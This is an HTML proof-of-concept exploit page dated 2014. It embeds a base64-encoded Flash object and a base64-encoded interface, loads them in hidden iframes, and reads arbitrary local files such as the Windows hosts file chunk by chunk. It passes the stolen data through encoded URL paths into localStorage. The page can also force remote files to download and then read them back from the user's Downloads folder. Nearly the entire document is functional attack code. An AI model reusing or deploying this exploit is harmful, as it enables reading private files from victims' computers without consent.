<!--
Copyright 2014 Bas Venis
-->
<html>
    <head>
        <style>progress {border-radius:50 px; width: 600px;height: 14px;-webkit-appearance: none}
        progress::-webkit-progress-bar {background: black;border-radius: 50px;padding: 2px;}
        progress::-webkit-progress-value {border-radius: 50px;}
        .payload{background-color: transparent;border: 0px none transparent;padding: 0px;overflow: hidden;}
        </style>
    </head>
    <body style="background: #322c35;color:red;">
        <p id="pagemode"></p>
        <script>
            //just the frontend, is not loaded to speed up the pollin actions.
            var pochtml = atob('RmlsZSBQYXRoIG9yIFVSTDogPGlucHV0IGlkPSJmaWxlcGF0aCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZXBhdGgiIHNpemU9IjQwIiB2YWx1ZT0iQzpcV2luZG93c1xTeXN0ZW0zMlxEcml2ZXJzXGV0Y1xob3N0cyI+CgkJPGJ1dHRvbiBvbmNsaWNrPSJnbygpIiBzdHlsZT0id2lkdGg6NTAiPkdPPC9idXR0b24+CgkJPGJyPjxicj48cHJvZ3Jlc3MgaWQ9InByb2dyZXNzYmFyIiBtYXg9IjEwMCIgdmFsdWU9IjAiPjwvcHJvZ3Jlc3M+PGJyPjxicj4KCQk8dGV4dGFyZWEgaWQ9InJlc3VsdCIgc3R5bGU9Im1hcmdpbjogMnB4OyBoZWlnaHQ6IDQ1MHB4OyB3aWR0aDogNjAwcHg7Ij48L3RleHRhcmVhPgo8ZGl2IGlkPSJwYXlsb2FkIiBjbGFzcz0icGF5bG9hZCI+PC9kaXY+');
            //function for reading the url get params
			function getURLParameter(name) {
			  return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20'))||null
			}
            //fileproxy.swf
            var swfdatauri = "data:application/x-shockwave-flash;base64,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";
            //sandbox.html
            function writePayloadFrame() {
                var target = getURLParameter('target');
                var begin = getURLParameter('begin');
                var end = getURLParameter('end');
                var mode = getURLParameter('mode');
                document.write(' \
                    <embed src="'+swfdatauri+'" \
                    quality="high" \
                    bgcolor="#ffffff" \
                    width="550" \
                    height="400" \
                    name="der"     FlashVars="myPath=' + target + '&myBegin='+ begin + '&myEnd='+ end + '&mySubject='+ mode + '" \
                    align="middle" \
                    allowScriptAccess="sameDomain" \
                    allowFullScreen="false" \
                    type="application/x-shockwave-flash" \
                    pluginspage="http://www.adobe.com/go/getflash" \
                    /> \
                ');
            }
            //wingman.html
            function decode(){
            var ABC = {
              toAscii: function(bin) {
                return bin.replace(/s*[01]{8}s*/g, function(bin) {
                  return String.fromCharCode(parseInt(bin, 2))
                })
              },
              toBinary: function(str, spaceSeparatedOctets) {
                return str.replace(/[sS]/g, function(str) {
                  str = ABC.zeroPad(str.charCodeAt().toString(2));
                  return !1 == spaceSeparatedOctets ? str : str + " "
                })
              },
              zeroPad: function(num) {
                return "00000000".slice(String(num).length) + num
              }
            };
            var str = document.URL
            var res = str.replace("poc.html","");
            var res = res.split("/");
            var data = res[res.length - 1];
            var data = data.toString().replace("%","");
            var bin = data.replace(/5C/g, "0");
            var bin = bin.replace(/2F/g, "1");
            var bin = bin.replace(/%/g, "");
            localStorage.file = ABC.toAscii(bin);
            }
            
            //poc.html
            function go(){
                function getFromWinUser(name){
                    path = location.href;
                    path = path.substr(8,path.length);
                    pathar = path.split("/")
                    WindowsPath = "file:///"+pathar[0]+pathar[1]+"\\"+pathar[2]+"\\Downloads\\"+name+".txt"; 
                    console.log(WindowsPath);
                    setTimeout(function(){getFile(WindowsPath,function (a){console.log(a);});},5000);
                    document.getElementById('result').innerHTML="Waiting 5 seconds";
                }
                tmppath = document.getElementById("filepath").value;
                if(tmppath.substr(0,7) == "https:/" || tmppath.substr(0,7) =="http://"){
                    var name = Math.floor(Math.random()*10000);
                    document.getElementById("payload").innerHTML = '<a id="dlink" href="'+tmppath+'" target="_self" download="'+name+'.txt">tmp</a>'
                    document.getElementById("dlink").click()
                    getFromWinUser(name)
                }else {
                    path = tmppath.replace(/\\/g, "\\\\");
                    getFile(path, function (a) {
                    console.log(a)
                });
                }
            }
            
            function getFile(path, finalcallback) {
                var base = unescape(location.pathname).substr(0, unescape(location.pathname).length - 'poc.html'.length);
                var freespace = 260 - (base.length + 'poc.html'.length);
                var maxchar = Math.floor(freespace / 8);
                var total = "";
                var walk,length,ETruns;
                var times = 0;
                var pb = document.getElementById('progressbar');
                var rt = document.getElementById('result');
                rt.innerHTML="";

                function getFileContentAt(path, begin, end, mode, callback) {

                    function writePayloadFrame(target) {
                        document.getElementById("payload").innerHTML = '<iframe seamless="seamless" height="150" width="600" style="visibility:hidden;" src="poc.html?stage=1&target=' + target + '&begin=' + begin + '&end=' + end + '&mode=' + mode + '"></iframe>';
                    }

                    function startMon(target) {
                        localStorage.file = '';
                        var oldvar = localStorage.file;
                        var myMonitor = setInterval(monitor, 100);

                        function monitor() {
                            if (oldvar !== localStorage.file) {
                                clearInterval(myMonitor);
                                callback(target, localStorage.file);
                            }
                        }
                    }
                    startMon(path);
                    writePayloadFrame(path);
                }

                function getFileLength(path) {
                    function prepareWalk() {
                        if (length < maxchar) {
                            ETruns = 1;
                        } else {
                            ETruns = Math.floor(length / maxchar);
                            if (length % maxchar > 0) {
                                ETruns++;
                            }
                        }
                        walkFile(path);
                    }
                    getFileContentAt(path, 0, 0, 2, function (a, b) {
                        length = b;
                        prepareWalk()
                    });
                }

                function walkFile(path) {
                    if (times < ETruns) {
                        console.log('Progress:' + Math.floor(times / ETruns * 100) + '%  | part' + times + ' from ' + ETruns);
                        rt.innerHTML= 'Progress:' + Math.floor(times / ETruns * 100) + '%  | part ' + times + ' from ' + ETruns + 'n' + total;
                        pb.setAttribute("value", Math.floor(times / ETruns * 100));
                        getFileContentAt(path, (times * maxchar), (times * maxchar) + maxchar, 0, function (a, b) {
                            total += b;
                            times++;
                            walkFile(a);
                        });
                    } else {
                        done();
                    }
                }

                function done() {
                    pb.setAttribute("value", "100");
                    rt.innerHTML=total;
                    finalcallback(total);
                }
                getFileLength(path);
            }
            
            var stage = getURLParameter("stage");
            console.log('Page loaded, looking for stage,  lets see:' + (top === self));
            if(stage==1) {
                console.log('should definetaly be the payload writer');
                writePayloadFrame();
            } else if(stage==null){
                if(top===self){
                console.log('normal window');
                document.getElementById("pagemode").innerHTML = pochtml;
                } else {
                    console.log('decoder window');
                    decode();
                }
            } else if(stage=='decoderdbg'){
                console.log('decoder window');
                decode();
            }
        </script>
    </body>
</html>
            
        